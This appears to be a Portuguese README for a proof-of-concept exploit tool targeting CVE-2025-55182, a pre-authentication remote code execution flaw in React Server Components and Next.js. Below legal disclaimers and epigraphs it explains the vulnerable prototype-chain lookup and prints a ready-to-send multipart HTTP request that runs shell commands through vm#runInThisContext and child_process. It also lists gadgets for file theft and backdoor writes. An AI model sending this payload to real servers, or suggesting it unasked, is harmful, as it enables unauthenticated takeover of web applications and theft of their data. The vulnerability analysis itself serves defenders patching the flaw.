
Ferramenta Unificada de Pesquisa de Segurança
Pesquisa de Segurança por schema.cx
"Controle é uma ilusão. São os sistemas que construímos que nos controlam—a menos que primeiro os entendamos."
ESTA FERRAMENTA É APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS
PARE. LEIA ISTO ANTES DE PROSSEGUIR.
Este repositório contém código de prova de conceito para uma vulnerabilidade de segurança crítica. Ao acessar, baixar ou usar qualquer material neste repositório, você reconhece e concorda com o seguinte:
Autorização Escrita Necessária: Você DEVE ter permissão explícita e por escrito do proprietário do sistema antes de realizar qualquer teste de segurança. Acordos verbais são insuficientes.
Limitações de Escopo: Os testes devem ser confinados a sistemas explicitamente listados em sua autorização. "Aumento de escopo" não é permitido.
Leis Aplicáveis: O acesso não autorizado a sistemas de computador viola:
OS AUTORES E COLABORADORES DESTE REPOSITÓRIO:
"A questão não é se podemos explorar a vulnerabilidade. É se devemos, e com que propósito."
CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código (RCE) de pré-autenticação que afeta Componentes de Servidor React em aplicações React 19.x e Next.js 15.x-16.x.
Esta vulnerabilidade permite que qualquer atacante não autenticado com acesso de rede a uma aplicação vulnerável execute comandos arbitrários no servidor. O ataque não requer credenciais, nenhuma interação do usuário e pode ser totalmente automatizado. A exploração bem-sucedida leva a:
| Métrica | Classificação |
|---|---|
| Pontuação Base CVSS v3.1 | 10.0 CRÍTICO |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Impacto (C/I/D) | Alto / Alto / Alto |
"As pessoas confiam em sistemas porque não os entendem. Essa confiança é uma vulnerabilidade."
A vulnerabilidade existe na implementação do protocolo Flight do React dentro da função requireModule. Esta função usa notação de colchetes para acessar exportações de módulo com base em entrada controlada pelo usuário, sem validar se a propriedade solicitada é uma propriedade própria do módulo.
Localização do Código Vulnerável:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Função: requireModule (aproximadamente linhas 2546-2558 na v19.0.0)
Padrão Vulnerável:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... tratamento assíncrono ...
return moduleExports[metadata[2]]; // ← VULNERÁVEL: Sem verificação hasOwnProperty
}
O ataque explora a travessia da cadeia de protótipos do JavaScript:
$ACTION_0:0 contém JSON com as propriedades id (formato módulo#exportação) e bound (argumentos) controladas pelo atacanteconstructor ou acessar propriedades do protótipo, atacantes podem referenciar módulos Node.js embutidosvm.runInThisContext, child_process.execSync ou fs.readFileSync executam com argumentos fornecidos pelo atacanteHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Analisa o formato "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Acesso à cadeia de protótipos → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Gadget | Módulo | Descrição | Impacto |
|---|---|---|---|
vm#runInThisContext | vm | Executar JS no contexto atual | RCE Direto |
vm#runInNewContext | vm | Executar JS em sandbox (escapável) | RCE Direto |
child_process#execSync | child_process | Executar comandos shell | RCE Direto |
child_process#spawnSync | child_process | Iniciar processos | RCE Direto |
fs#readFileSync | fs | Ler arquivos arbitrários | Exfiltração de Dados |
fs#writeFileSync | fs | Escrever arquivos arbitrários | Persistência/Backdoor |
module#_load | module | Carregar módulos JS (RCE em 2 etapas) | RCE Indireto |
"Todo sistema tem uma porta. A questão é se você construiu a fechadura—ou a herdou de alguém que nunca esperava visitantes."